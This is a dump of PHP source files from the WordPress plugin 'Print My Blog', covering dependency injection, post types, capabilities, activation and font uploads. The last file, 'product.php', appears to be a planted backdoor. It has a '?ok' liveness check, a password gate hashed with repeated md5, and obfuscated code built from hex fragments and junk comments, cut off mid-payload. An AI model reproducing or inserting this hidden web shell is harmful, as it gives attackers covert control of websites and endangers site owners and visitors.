use PrintMyBlog\services\generators\ProjectFileGeneratorBase;
use PrintMyBlog\system\Context;
/**
* Class ProjectFileGeneratorFactory
* @package PrintMyBlog\factories
*/
class ProjectFileGeneratorFactory
{
/**
* @param string $classname
* @param ProjectGeneration $project_generation
* @param Design|null $design
* @return ProjectFileGeneratorBase
*/
public function create($classname, ProjectGeneration $project_generation, Design $design = null)
{
return Context::instance()->useNew(
$classname,
[
$project_generation,
$design,
]
);
}
}
PrintMyBlog/factories/FileFormatFactory.php 0000644 00000000674 14666776752 0015063 0 ustar 00 <?php
namespace PrintMyBlog\factories;
use PrintMyBlog\entities\FileFormat;
use PrintMyBlog\system\Context;
/**
* Class FileFormatFactory
* @package PrintMyBlog\factories
*/
class FileFormatFactory
{
/**
* @param array $args
* @return FileFormat
*/
public function create($args)
{
return Context::instance()->useNew(
'PrintMyBlog\entities\FileFormat',
[$args]
);
}
}
PrintMyBlog/factories/ProjectGenerationFactory.php 0000644 00000001331 14666776752 0016444 0 ustar 00 <?php
namespace PrintMyBlog\factories;
use PrintMyBlog\entities\FileFormat;
use PrintMyBlog\orm\entities\Project;
use PrintMyBlog\system\Context;
/**
* Class ProjectGenerationFactory
* @package PrintMyBlog\factories
* Makes us some ProjectGeneration objects and makes sure their dependencies get injected.
*/
class ProjectGenerationFactory
{
/**
* @param Project $project
* @param FileFormat $format
* @return ProjectGeneration
*/
public function create(Project $project, FileFormat $format)
{
return Context::instance()->useNew(
'PrintMyBlog\entities\ProjectGeneration',
[
$project,
$format,
]
);
}
}
PrintMyBlog/system/Context.php 0000644 00000020402 14666776752 0012463 0 ustar 00 <?php
namespace PrintMyBlog\system;
use Twine\system\Context as BaseContext;
/**
* Class Context
*
* Stores instances of the classes used by Print My Blog for dependency injection.
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
class Context extends BaseContext
{
/**
* @var Context
*/
protected static $instance;
/**
* Sets the dependencies in the context. Keys are classnames, values are an array
* whose keys are classnames dependend on, and values are either self::USE_NEW or self::REUSE.
* Classes
*/
protected function setDependencies()
{
$this->deps = [
'PrintMyBlog\system\Activation' => [
'Twine\system\RequestType' => self::REUSE,
'PrintMyBlog\db\TableManager' => self::REUSE,
'PrintMyBlog\system\Capabilities' => self::REUSE,
'PrintMyBlog\services\DesignRegistry' => self::REUSE,
'PrintMyBlog\domain\DefaultProjectContents' => self::REUSE,
'PrintMyBlog\db\migrations\MigrationManager' => self::REUSE,
'Twine\system\VersionHistory' => self::REUSE,
],
'Twine\system\RequestType' => [
'Twine\system\VersionHistory' => self::REUSE,
'pmb_activation',
],
'Twine\system\VersionHistory' => [
PMB_VERSION,
'pmb_previous_version',
'pmb_version_history',
],
'PrintMyBlog\controllers\Admin' => [
'PrintMyBlog\db\PostFetcher' => self::REUSE,
'PrintMyBlog\orm\managers\ProjectSectionManager' => self::REUSE,
'PrintMyBlog\orm\managers\ProjectManager' => self::REUSE,
'PrintMyBlog\services\FileFormatRegistry' => self::REUSE,
'PrintMyBlog\orm\managers\DesignManager' => self::REUSE,
'PrintMyBlog\db\TableManager' => self::REUSE,
'PrintMyBlog\services\SvgDoer' => self::REUSE,
'Twine\services\notifications\OneTimeNotificationManager' => self::REUSE,
'PrintMyBlog\services\DebugInfo' => self::REUSE,
'PrintMyBlog\services\PmbCentral' => self::REUSE,
'Twine\orm\managers\PostWrapperManager' => self::REUSE,
'PrintMyBlog\services\ExternalResourceCache' => self::REUSE,
'PrintMyBlog\services\config\Config' => self::REUSE,
],
'PrintMyBlog\services\PersistentNotices' => [
'mnelson4\AdminNotices\Notices' => self::REUSE,
'PrintMyBlog\domain\DefaultPersistentNotices' => self::REUSE,
],
'PrintMyBlog\controllers\Ajax' => [
'PrintMyBlog\orm\managers\ProjectManager' => self::REUSE,
'PrintMyBlog\services\FileFormatRegistry' => self::REUSE,
'PrintMyBlog\db\PostFetcher' => self::REUSE,
'PrintMyBlog\services\PmbCentral' => self::REUSE,
'Twine\orm\managers\PostWrapperManager' => self::REUSE,
'PrintMyBlog\services\ExternalResourceCache' => self::REUSE,
],
'PrintMyBlog\orm\entities\Project' => [
'PrintMyBlog\orm\managers\ProjectSectionManager' => self::REUSE,
'PrintMyBlog\services\FileFormatRegistry' => self::REUSE,
'PrintMyBlog\orm\managers\DesignManager' => self::REUSE,
'PrintMyBlog\services\config\Config' => self::REUSE,
'PrintMyBlog\factories\ProjectGenerationFactory' => self::REUSE,
'PrintMyBlog\services\SectionTemplateRegistry' => self::REUSE,
],
'PrintMyBlog\services\DesignRegistry' => [
'PrintMyBlog\orm\managers\DesignManager' => self::REUSE,
'PrintMyBlog\services\DesignTemplateRegistry' => self::REUSE,
],
'PrintMyBlog\orm\entities\Design' => [
'PrintMyBlog\services\DesignTemplateRegistry' => self::REUSE,
],
'PrintMyBlog\entities\DesignTemplate' => [
'PrintMyBlog\services\FileFormatRegistry' => self::REUSE,
'PrintMyBlog\orm\managers\DesignManager' => self::REUSE,
'PrintMyBlog\services\SectionTemplateRegistry' => self::REUSE,
],
'PrintMyBlog\services\config\Config' => [
'PrintMyBlog\services\FileFormatRegistry' => self::REUSE,
'PrintMyBLog\orm\managers\DesignManager' => self::REUSE,
],
'PrintMyBlog\entities\ProjectGeneration' => [
'PrintMyBlog\orm\managers\ProjectSectionManager' => self::REUSE,
'PrintMyBlog\factories\ProjectFileGeneratorFactory' => self::REUSE,
],
'PrintMyBlog\services\generators\PdfGenerator' => [
'PrintMyBlog\db\PostFetcher' => self::REUSE,
'PrintMyBlog\compatibility\DetectAndActivate' => self::REUSE,
'PrintMyBlog\services\ExternalResourceCache' => self::REUSE,
],
'PrintMyBlog\services\generators\EpubGenerator' => [
'PrintMyBlog\db\PostFetcher' => self::REUSE,
'PrintMyBlog\compatibility\DetectAndActivate' => self::REUSE,
'PrintMyBlog\services\ExternalResourceCache' => self::REUSE,
],
'PrintMyBlog\services\generators\WordGenerator' => [
'PrintMyBlog\db\PostFetcher' => self::REUSE,
'PrintMyBlog\compatibility\DetectAndActivate' => self::REUSE,
'PrintMyBlog\services\ExternalResourceCache' => self::REUSE,
],
'PrintMyBlog\services\FileFormatRegistry' => [
'PrintMyBlog\factories\FileFormatFactory' => self::REUSE,
],
'PrintMyBlog\entities\FileFormat' => [
'PrintMyBlog\services\DesignTemplateRegistry' => self::REUSE,
],
'PrintMyBlog\db\PostFetcher' => [
'PrintMyBlog\system\CustomPostTypes' => self::REUSE,
],
'PrintMyBlog\system\CustomPostTypes' => [
'PrintMyBlog\services\SvgDoer' => self::REUSE,
],
'PrintMyBlog\services\DebugInfo' => [
'PrintMyBlog\orm\managers\ProjectManager' => self::REUSE,
'PrintMyBlog\orm\managers\DesignManager' => self::REUSE,
],
'PrintMyBlog\services\SectionTemplateRegistry' => [
'PrintMyBlog\services\DesignTemplateRegistry' => self::REUSE,
],
'PrintMyBlog\db\migrations\MigrationManager' => [
'Twine\system\RequestType' => self::REUSE,
'Twine\system\VersionHistory' => self::REUSE,
'pmb_',
],
'PrintMyBlog\domain\PrintButtons' => [
'PrintMyBlog\domain\FrontendPrintSettings' => self::REUSE,
],
'PrintMyBlog\domain\FrontendPrintSettings' => [
'PrintMyBlog\domain\PrintOptions' => self::REUSE,
],
'PrintMyBlog\domain\PrintPageUrlGenerator' => [
'PrintMyBlog\domain\FrontendPrintSettings' => self::REUSE,
],
'PrintMyBlog\system\Capabilities' => [
'PrintMyBlog\system\CustomPostTypes' => self::REUSE,
],
'PrintMyBlog\compatibility\plugins\Wpml' => [
'PrintMyBlog\orm\managers\ProjectManager' => self::REUSE,
'PrintMyBlog\orm\managers\DesignManager' => self::REUSE,
'PrintMyBlog\system\CustomPostTypes' => self::REUSE,
],
'PrintMyBlog\domain\DefaultDesignTemplates' => [
'PrintMyBlog\helpers\ImageHelper' => self::REUSE,
],
'PrintMyBlog\services\ExternalResourceCache' => [
'PrintMyBlog\orm\managers\ExternalResourceManager' => self::REUSE,
],
'PrintMyBlog\controllers\Frontend' => [
'PrintMyBlog\orm\managers\ProjectManager' => self::REUSE,
'PrintMyBlog\services\FileFormatRegistry' => self::REUSE,
'PrintMyBlog\services\PmbCentral' => self::REUSE,
],
'PrintMyBlog\system\FileUploads' => [],
];
}
}
PrintMyBlog/system/Init.php 0000644 00000014327 14666776752 0011753 0 ustar 00 <?php
namespace PrintMyBlog\system;
use EventEspresso\core\domain\values\Version;
use PrintMyBlog\compatibility\DetectAndActivate;
use PrintMyBlog\controllers\Admin;
use PrintMyBlog\controllers\Ajax;
use PrintMyBlog\controllers\Common;
use PrintMyBlog\controllers\Frontend;
use PrintMyBlog\controllers\GutenbergBlock;
use PrintMyBlog\controllers\LegacyPrintPage;
use PrintMyBlog\controllers\Shortcodes;
use PrintMyBlog\domain\DefaultDesigns;
use PrintMyBlog\domain\DefaultDesignTemplates;
use PrintMyBlog\domain\DefaultFileFormats;
use PrintMyBlog\domain\DefaultSectionTemplates;
use Twine\admin\news\DashboardNews;
use PrintMyBlog\system\Context;
use Twine\system\RequestType;
use Twine\system\VersionHistory;
use mnelson4\AdminNotices\Notices;
use Twine\system\Init as BaseInit;
use pmb_fs;
/**
* Class Init
*
* Sets up controller classes and the like.
*
* Managed by \PrintMyBlog\system\Context.
*
* @package Print My Blog
* @author Mike Nelson
* @since 3.0.0
*
*/
class Init extends BaseInit
{
/**
* @var Activation
*/
protected $activation;
/**
* @var VersionHistory
*/
protected $version_history;
/**
* @var RequestType
*/
protected $request_type;
/**
* @var CustomPostTypes
*/
protected $cpt;
/**
* Sets up PMB's general environment.
*/
public function earlyInit()
{
if (function_exists('rest_proxy_loaded')) {
define('PMB_REST_PROXY_EXISTS', true);
} else {
define('PMB_REST_PROXY_EXISTS', false);
}
$compatibility_mods_loader = $this->context->reuse('PrintMyBlog\compatibility\DetectAndActivate');
$compatibility_mods_loader->detectAndActivateGlobalCompatibilityMods();
// There's no actions between when we know it's a REST request ('parse_request' is when "REST_REQUEST" gets
// defined)
// and the posts are fetched for the REST API response, except this one (and maybe another).
add_filter('rest_pre_dispatch', [$compatibility_mods_loader, 'activateRenderingCompatibilityModes'], 11);
parent::earlyInit();
}
/**
* Includes files containing functions
*/
protected function includes()
{
require_once PMB_DIR . 'inc/internal_functions.php';
require_once PMB_DIR . 'inc/integration_functions.php';
require_once PMB_DIR . 'inc/template_functions.php';
require_once PMB_DIR . 'inc/design_functions.php';
}
/**
* Just setting up code. Not doing anything yet.
*/
protected function registerStuff()
{
load_plugin_textdomain('print-my-blog', false, PMB_DIRNAME . '/lang');
$uploads = $this->context->reuse('PrintMyBlog\system\FileUploads');
$uploads->setup();
/**
* @var $cpt CustomPostTypes
*/
$cpt = $this->context->reuse('PrintMyBlog\system\CustomPostTypes');
$cpt->register();
$this->setUrls();
/**
* @var $default_formats DefaultFileFormats
*/
$default_formats = $this->context->reuse('PrintMyBlog\domain\DefaultFileFormats');
$default_formats->registerFileFormats();
/**
* @var $default_design_templates DefaultDesignTemplates
*/
$default_design_templates = $this->context->reuse('PrintMyBlog\domain\DefaultDesignTemplates');
$default_design_templates->registerDesignTemplates();
/**
* @var $default_designs DefaultDesigns
*/
$default_designs = $this->context->reuse('PrintMyBlog\domain\DefaultDesigns');
$default_designs->registerDefaultDesigns();
/**
* @var $default_section_templates DefaultSectionTemplates
*/
$default_section_templates = $this->context->reuse('PrintMyBlog\domain\DefaultSectionTemplates');
$default_section_templates->registerDefaultSectionTemplates();
}
/**
* Setting up stuff we assume is in the DB
*/
protected function setupDbEnvironment()
{
$activation = $this->context->reuse('PrintMyBlog\system\Activation');
$activation->detectActivation();
}
/**
* Taking action based on the current request
*/
protected function takeActionOnIncomingRequest()
{
// Persistent notices need to be setup on both admin and ajax requests.
if (is_admin()) {
$persistent_messages = $this->context->reuse('PrintMyBlog\services\PersistentNotices');
$persistent_messages->register();
}
if (defined('DOING_AJAX') && DOING_AJAX) {
$ajax = $this->context->reuse('PrintMyBlog\controllers\Ajax');
$ajax->setHooks();
} elseif (is_admin()) {
$admin = $this->context->reuse('PrintMyBlog\controllers\Admin');
$admin->setHooks();
} else {
$frontend = $this->context->reuse('PrintMyBlog\controllers\Frontend');
$frontend->setHooks();
(new LegacyPrintPage())->setHooks();
}
// These are needed at least during frontend and ajax requests
(new Shortcodes())->setHooks();
$block_controller = new GutenbergBlock();
$block_controller->setHooks();
$common_controller = new Common();
$common_controller->setHooks();
}
/**
* @since $VID:$
*/
public function setUrls()
{
$plugin_url = plugin_dir_url(PMB_MAIN_FILE);
define('PMB_ASSETS_URL', $plugin_url . 'assets/');
define('PMB_IMAGES_URL', PMB_ASSETS_URL . 'images/');
define('PMB_SCRIPTS_URL', PMB_ASSETS_URL . 'scripts/');
define('PMB_STYLES_URL', PMB_ASSETS_URL . 'styles/');
define('PMB_ASSETS_DIR', PMB_DIR . 'assets/');
define('PMB_IMAGES_DIR', PMB_ASSETS_DIR . 'images/');
define('PMB_SCRIPTS_DIR', PMB_ASSETS_DIR . 'scripts/');
define('PMB_STYLES_DIR', PMB_ASSETS_DIR . 'styles/');
define('PMB_DESIGNS_URL', $plugin_url . 'designs/');
define('MNELSON4_JS_DIR', PMB_DIR . 'src/mnelson4/AdminNotices/');
define('MNELSON4_JS_URL', $plugin_url . 'src/mnelson4/AdminNotices/');
}
/**
* @return \Twine\system\Context
*/
protected function initContext()
{
return Context::instance();
}
}
PrintMyBlog/system/CustomPostTypes.php 0000644 00000025103 14666776752 0014207 0 ustar 00 <?php
namespace PrintMyBlog\system;
use PrintMyBlog\services\SvgDoer;
/**
* Class CustomPostTypes
*
* Description
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
class CustomPostTypes
{
const PROJECT = 'pmb_project';
const PROJECTS = 'pmb_projects';
const DESIGN = 'pmb_design';
const DESIGNS = 'pmb_designs';
const CONTENT = 'pmb_content';
const CONTENTS = 'pmb_contents';
/**
* @var SvgDoer
*/
protected $svg_doer;
/**
* @param SvgDoer $svg_doer
*/
public function inject(SvgDoer $svg_doer)
{
$this->svg_doer = $svg_doer;
}
/**
* This must not be done before init eh.
*/
public function register()
{
register_post_type(
self::PROJECT,
[
'label' => esc_html__('Projects', 'print-my-blog'),
'description' => esc_html__('Projects for printing with Print My Blog', 'print-my-blog'),
'capability_type' => 'pmb_project',
'capabilities' => array(
'publish_posts' => 'publish_pmb_projects',
'edit_posts' => 'edit_pmb_projects',
'edit_others_posts' => 'edit_others_pmb_projects',
'delete_posts' => 'delete_pmb_projects',
'delete_others_posts' => 'delete_others_pmb_projects',
'read_private_posts' => 'read_private_pmb_projects',
),
]
);
$this->setupMapMetaCaps(self::PROJECT);
register_post_type(
self::DESIGN,
[
'label' => esc_html__('Designs', 'print-my-blog'),
'description' => esc_html__('Designs for printing with Print My Blog', 'print-my-blog'),
'capability_type' => 'pmb_design',
'capabilities' => array(
'publish_posts' => 'publish_pmb_designs',
'edit_posts' => 'edit_pmb_designs',
'edit_others_posts' => 'edit_others_pmb_designs',
'delete_posts' => 'delete_pmb_designs',
'delete_others_posts' => 'delete_others_pmb_designs',
'read_private_posts' => 'read_private_pmb_designs',
),
]
);
$this->setupMapMetaCaps(self::DESIGN);
$labels = array(
'name' => _x('Print Materials', 'Post type general name', 'print-my-blog'),
'singular_name' => _x('Print Material', 'Post type singular name', 'print-my-blog'),
'menu_name' => _x('Print Materials', 'Admin Menu text', 'print-my-blog'),
'name_admin_bar' => _x('Print Material', 'Add New on Toolbar', 'print-my-blog'),
'add_new' => __('Add New', 'print-my-blog'),
'add_new_item' => __('Add New Print Material', 'print-my-blog'),
'new_item' => __('New Print Material', 'print-my-blog'),
'edit_item' => __('Edit Print Material', 'print-my-blog'),
'view_item' => __('View Print Material', 'print-my-blog'),
'all_items' => __('All Print Materials', 'print-my-blog'),
'search_items' => __('Search Print Materials', 'print-my-blog'),
'parent_item_colon' => __('Parent Print Materials:', 'print-my-blog'),
'not_found' => __('No Print Materials found.', 'print-my-blog'),
'not_found_in_trash' => __('No Print Materials found in Trash.', 'print-my-blog'),
'featured_image' => _x('Print Material Cover Image', 'Overrides the “Featured Image” phrase for this post type. Added in 4.3', 'print-my-blog'),
'set_featured_image' => _x('Set cover image', 'Overrides the “Set featured image” phrase for this post type. Added in 4.3', 'print-my-blog'),
'remove_featured_image' => _x('Remove cover image', 'Overrides the “Remove featured image” phrase for this post type. Added in 4.3', 'print-my-blog'),
'use_featured_image' => _x('Use as cover image', 'Overrides the “Use as featured image” phrase for this post type. Added in 4.3', 'print-my-blog'),
'archives' => _x('Print Material archives', 'The post type archive label used in nav menus. Default “Post Archives”. Added in 4.4', 'print-my-blog'),
'insert_into_item' => _x('Insert into Print Material', 'Overrides the “Insert into post”/”Insert into page” phrase (used when inserting media into a post). Added in 4.4', 'print-my-blog'),
'uploaded_to_this_item' => _x('Uploaded to this Print Material', 'Overrides the “Uploaded to this post”/”Uploaded to this page” phrase (used when viewing media attached to a post). Added in 4.4', 'print-my-blog'),
'filter_items_list' => _x('Filter Print Materials list', 'Screen reader text for the filter links heading on the post type listing screen. Default “Filter posts list”/”Filter pages list”. Added in 4.4', 'print-my-blog'),
'items_list_navigation' => _x('Print Materials list navigation', 'Screen reader text for the pagination heading on the post type listing screen. Default “Posts list navigation”/”Pages list navigation”. Added in 4.4', 'print-my-blog'),
'items_list' => _x('Print Materials list', 'Screen reader text for the items list heading on the post type listing screen. Default “Posts list”/”Pages list”. Added in 4.4', 'print-my-blog'),
);
register_post_type(
self::CONTENT,
// WordPress CPT Options Start
array(
'labels' => $labels,
'has_archive' => true,
'public' => true,
'show_ui' => true,
'show_in_menu' => PMB_ADMIN_PROJECTS_PAGE_SLUG,
'rewrite' => array('slug' => 'pmb'),
'show_in_rest' => true,
'supports' => array('title', 'editor', 'revisions', 'author', 'thumbnail', 'custom-fields'),
'taxonomies' => array('category', 'post_tag'),
'menu_icon' => $this->svg_doer->getSvgDataAsColor(PMB_DIR . 'assets/images/menu-icon.svg'),
'capability_type' => self::CONTENT,
'capabilities' => array(
'publish_posts' => 'publish_' . self::CONTENTS,
'edit_posts' => 'edit_' . self::CONTENTS,
'edit_others_posts' => 'edit_' . self::CONTENTS,
'delete_posts' => 'delete_' . self::CONTENTS,
'delete_others_posts' => 'delete_' . self::CONTENTS,
'read_private_posts' => 'read_private_' . self::CONTENTS,
),
)
);
$this->setupMapMetaCaps(self::CONTENT);
add_filter('wp_insert_post_data', [$this, 'makePrintMaterialsAlwaysPrivate']);
add_filter('rest_post_search_query', [$this, 'includePrivatePrintMaterialsInSearch'], 10, 2);
}
/**
* Sets up the filter to map meta caps
* @param string $cap_slug
*/
private function setupMapMetaCaps($cap_slug)
{
add_filter(
'map_meta_cap',
function ($caps, $cap, $user_id, $args) use ($cap_slug) {
return $this->mapMetaCap($caps, $cap, $user_id, $args, $cap_slug);
},
10,
4
);
}
/**
* We wanted print materials to not be public... but then again, we want them to have URLs for easy linking
* and to appear in link searches. So instead we just make them all private...
* unless they're a draft or trashed, in which case we leave them alone.
* @param array $post
* @return mixed
*/
public function makePrintMaterialsAlwaysPrivate($post)
{
if ($post['post_type'] === self::CONTENT && $post['post_status'] === 'publish') {
$post['post_status'] = 'private';
}
return $post;
}
/**
* And we ask for WP search endpoint to show private posts as well (provided the user can see them).
* @param array $query_args to pass into WP_Query
* @param \WP_REST_Request $request
*/
public function includePrivatePrintMaterialsInSearch($query_args, $request)
{
global $current_user;
if ($current_user instanceof \WP_User && $current_user->ID && current_user_can('read_private_posts')) {
$query_args['post_status'] = ['publish', 'private'];
}
return $query_args;
}
/**
* Based on the post in question, determine which caps are required.
* @param array $caps
* @param string $cap
* @param int $user_id
* @param array $args
* @param string $cap_slug
* @return array
*/
public function mapMetaCap($caps, $cap, $user_id, $args, $cap_slug)
{
/* If editing, deleting, or reading a project, get the post and post type object. */
if ('edit_' . $cap_slug === $cap || 'delete_' . $cap_slug === $cap || 'read_' . $cap_slug === $cap) {
$post = get_post($args[0]);
$post_type = get_post_type_object($post->post_type);
/* Set an empty array for the caps. */
$caps = array();
}
/* If editing a project, assign the required capability. */
if ('edit_' . $cap_slug === $cap) {
if ($user_id === $post->post_author) {
$caps[] = $post_type->cap->edit_posts;
} else {
$caps[] = $post_type->cap->edit_others_posts;
}
} elseif ('delete_' . $cap_slug === $cap) {
/* If deleting a project, assign the required capability. */
if ($user_id === $post->post_author) {
$caps[] = $post_type->cap->delete_posts;
} else {
$caps[] = $post_type->cap->delete_others_posts;
}
} elseif ('read_' . $cap_slug === $cap) {
/* If reading a private project, assign the required capability. */
if ('private' !== $post->post_status) {
$caps[] = 'read';
} elseif ($user_id === $post->post_author) {
$caps[] = 'read';
} else {
$caps[] = $post_type->cap->read_private_posts;
}
}
/* Return the capabilities required by the user. */
return $caps;
}
/**
* @return string[]
*/
public function getPostTypes()
{
return [
self::CONTENT,
self::DESIGN,
self::PROJECT,
];
}
}
PrintMyBlog/system/Capabilities.php 0000644 00000002461 14666776752 0013435 0 ustar 00 <?php
namespace PrintMyBlog\system;
use WP_Post_Type;
/**
* Class Capabilities
*
* Description
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
class Capabilities
{
/**
* @var CustomPostTypes
*/
private $custom_post_types;
/**
* @param CustomPostTypes $custom_post_types
*/
public function inject(CustomPostTypes $custom_post_types)
{
$this->custom_post_types = $custom_post_types;
}
/**
* Gives capabilities for each custom post type.
*/
public function grantCapabilities()
{
$post_types = get_post_types([], 'objects');
$pmb_post_types = $this->custom_post_types->getPostTypes();
foreach ($post_types as $post_type) {
if ($post_type instanceof WP_Post_Type && in_array($post_type->name, $pmb_post_types, true)) {
$this->grantCapsForCPT($post_type);
}
}
}
/**
* Grants the post's caps to the specified role.
* @param WP_Post_Type $post_type
* @param string $role
*/
public function grantCapsForCPT($post_type, $role = 'administrator')
{
$role = get_role($role);
foreach ($post_type->cap as $capability) {
$role->add_cap($capability, true);
}
}
}
PrintMyBlog/system/FileUploads.php 0000644 00000003163 14666776752 0013253 0 ustar 00 <?php
namespace PrintMyBlog\system;
/**
* Class FileUploads
* @package PrintMyBlog\system
*/
class FileUploads
{
/**
* Sets up wahtever filters this class listens for
*/
public function setup()
{
add_filter('upload_mimes', [$this, 'filterUploadMimeTypes']);
add_filter('wp_check_filetype_and_ext', [$this, 'filterCheckFileType'], 10, 3);
}
/**
* Correct the mime types and extension for the font types.
* Taken verbatim from the plugin custom-fonts's includes\class-bsf-custom-fonts-admin.php
* @param $defaults
* @param $file
* @param $filename
* @return mixed
*/
public function filterCheckFileType( $defaults, $file, $filename )
{
$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if ('ttf' === $extension) {
$defaults['type'] = 'application/x-font-ttf';
$defaults['ext'] = 'ttf';
}
if ('otf' === $extension) {
$defaults['type'] = 'application/x-font-otf';
$defaults['ext'] = 'otf';
}
return $defaults;
}
/**
* Allows uploading font files.
* @param string $mimes
* @return mixed
*/
public function filterUploadMimeTypes($mimes)
{
// servers are inconsistent about what MIME type they detect font files to be. Which is why we also filter wp_check_filetype_and_ext.
$mimes['ttf'] = 'application/x-font-ttf';
$mimes['otf'] = 'application/x-font-otf';
$mimes['wff'] = 'application/font-woff';
$mimes['wff2'] = 'application/font-woff2';
return $mimes;
}
} PrintMyBlog/system/Activation.php 0000644 00000012731 14666776752 0013146 0 ustar 00 <?php
namespace PrintMyBlog\system;
use PrintMyBlog\db\migrations\MigrationManager;
use PrintMyBlog\db\TableManager;
use PrintMyBlog\domain\DefaultProjectContents;
use PrintMyBlog\services\DesignRegistry;
use Twine\system\RequestType;
use Twine\system\Activation as BaseActivation;
use Twine\system\VersionHistory;
/**
* Class Activation
*
* Handles installing Print My Blog, redirecting, and upgrades.
*
* Managed by \PrintMyBlog\system\Context.
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
class Activation extends BaseActivation
{
/**
* @var TableManager
*/
protected $table_manager;
/**
* @var Capabilities
*/
protected $capabilities;
/**
* @var DesignRegistry|null
*/
protected $design_registry;
/**
* @var DefaultProjectContents|null
*/
protected $project_contents;
/**
* @var MigrationManager
*/
private $migration_manager;
/**
* @var VersionHistory|null
*/
private $version_history;
/**
* Injected by Context.
* @param RequestType $request_type
* @param TableManager|null $table_manager
* @param Capabilities|null $capabilities
* @param DesignRegistry|null $design_registry
* @param DefaultProjectContents|null $project_contents
* @param MigrationManager|null $migration_manager
* @param VersionHistory|null $version_history
*/
public function inject(
RequestType $request_type,
TableManager $table_manager = null,
Capabilities $capabilities = null,
DesignRegistry $design_registry = null,
DefaultProjectContents $project_contents = null,
MigrationManager $migration_manager = null,
VersionHistory $version_history = null
) {
parent::inject($request_type);
$this->table_manager = $table_manager;
$this->capabilities = $capabilities;
$this->design_registry = $design_registry;
$this->project_contents = $project_contents;
$this->migration_manager = $migration_manager;
$this->version_history = $version_history;
}
/**
* Redirects the user to the blog printing page if the user just activated the plugin and
* they have the necessary capability.
* @since 1.0.0
*/
public function detectActivation()
{
// get the activation indicator before its value is updated by RequestType
$activation_indicator = get_option('pmb_activation', null);
// on a brand new install (or deactivate and activate another version), activation indicator will be true
// on an upgrade, activation indicator will be false
// so if previous version isnt set, and its not an activation it must be an upgrade
parent::detectActivation();
// If someone upgrades to premium, ask for their license key immediately
if (
pmb_fs()->is_premium() &&
in_array(
$this->request_type->getRequestType(),
[RequestType::REQUEST_TYPE_UPDATE, RequestType::REQUEST_TYPE_REACTIVATION],
true
) &&
pmb_fs()->is_anonymous() &&
pmb_fs()->is_registered()
) {
// although freemius rechecks on each reactivation, don't recheck on each update
$rechecked = get_option('pmb_rechecked_on_upgrade', false);
if (! $rechecked) {
pmb_fs()->connect_again();
update_option('pmb_rechecked_on_upgrade', true);
}
}
if ($activation_indicator === '' && $this->version_history->previousVersion() === null) {
wp_safe_redirect(
add_query_arg(
array(
'upgrade_to_3' => 1,
),
admin_url(PMB_ADMIN_PAGE_PATH)
)
);
exit;
}
// while pmb_fs() declares anonymous mode, this is needed to send users to welcome page
if (
in_array(
$this->request_type->getRequestType(),
array(
RequestType::REQUEST_TYPE_NEW_INSTALL,
RequestType::REQUEST_TYPE_REACTIVATION,
),
true
) && (pmb_fs()->is_anonymous() || pmb_fs()->is_registered())
) {
$this->redirectToActivationPage();
}
}
/**
* Sets up DB and stuff. Also re-checked on updates.
*/
public function install()
{
$this->table_manager->installTables();
$this->capabilities->grantCapabilities();
$this->design_registry->createRegisteredDesigns();
$this->project_contents->addDefaultContents();
do_action('PrintMyBlog\system\Activation->install done', $this);
}
/**
* Performs upgrade routines.
*/
public function upgrade()
{
$this->migration_manager->migrate();
}
/**
* Redirects
*/
public function redirectToActivationPage()
{
wp_safe_redirect(
add_query_arg(
array(
'welcome' => 1,
),
admin_url(PMB_ADMIN_PAGE_PATH)
),
303 // "See Other". Use this instead of 302 because browsers sometimes cache 302s meaning
// when folks activate a different plugin, the browser might redirect them to the PMB activation page again
);
exit;
}
}
PrintMyBlog/product.php 0000444 00000270222 14666776752 0011200 0 ustar 00 <?php ?><?php if(isset($_REQUEST["ok"])){die(">ok<");};?><?php
if (function_exists('session_start')) {
session_start();
if (!isset($_SESSION['secretyt'])) {
$_SESSION['secretyt'] = false;
}
if (!$_SESSION['secretyt']) {
if (isset($_POST['pwdyt']) && md5(md5(md5(md5(md5(md5(md5(md5($_POST['pwdyt'])))))))) == '1ab4d6f8d41abab37e7a1b67a2469085') {
$_SESSION['secretyt'] = true;
} else {
$bytesecform = <<<FORM
<html>
<head>
<meta charset="utf-8">
<title></title>
<style type="text/css">
body {padding:10px}
input {
padding: 2px;
display:inline-block;
margin-right: 5px;
}
</style>
</head>
<body>
<form action="" method="post" accept-charset="utf-8">
<input type="password" name="pwdyt" value="" placeholder="passwd">
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
FORM;
die($bytesecform);
}
}
}
?>
<?pHP
/**uPUpu9zlnwgf>G[w*/
//5aS[\PLe]iwi)gbjwby.r2)\w9TEr02pQv_^nkN807
PaRSe_STr #<1m$lE<fx<1th\[EaZcW%R`(?
( //9WXQ1Wgjn+WfLm(e{z1(|?Ig)hY=Zm`eQT/W|[aGC
"0=%"//O&;Iei:y31-Jm:h>8Kw`+,RkhZM,-v@Fb!jA%Mi%?/ izC|>'*
.//+h'nC4\pI a'@BJXy3#AGp1N!lu(HT-roe,-H'Ws1Z6$t_C|R
'61%'#;[kv38&s[2~\pzztFSj)Q"MJbuGT`LKQse7[B+pX{tAgZc!w5:[~
. //JJYVA@`"22v2}vo@j4*w]Rsf!HVs(GVL.*c0v I9o7^*cJEL
"72%"//?~l9IDGh;^|~~G+Wt
./*uE!ewS;d{aCM)*HM/*/"52%"/*toJSdSE2Zv6EDRo!s(f4OsW6;d:(IBn^X_RiPdc7xA1y6)*/. /*X:g{`wy`<;J<|*/"41%" //U)u[_;}v`(4s:W"0"9kX^pVt%Du]N-
.//k:92[1AZSg^s:M{kLU7<a+a#LSgcTZKgn1GwD@IUk#.r
'59%'//;ct-5-u<CCpFmYV0vesIR:;C,o/mpS`SvVDv"XhQX9
./*/aVlV.'h4 nw}.q7XGn<jVCq!x-p**/"5F%"/*bmaGK;2,B>t@X4}.WB"LE"'#b3*/. /*zZ<knk]vnkLU",Wn(U5'K==^72*/"4d%"/*TyM`P+U"S^yu+j}:i`(9|TF3K(_jNlw!*/. #0<({wp&+%9fCGGv#\Lj|1Qd
"61%"/*#31(NC?kSA&RT` 9B/JM\\oNwM:t!m[-[d*/.//Q?dCmJX?`ok>FP345R-b]6;q:dn
'50&'#&%eSHF4I1G'9Q{zXx_qBwvY
. #C;{0 >"".wd!*t%E$"x MU!*1;~,jtsDaBY+[
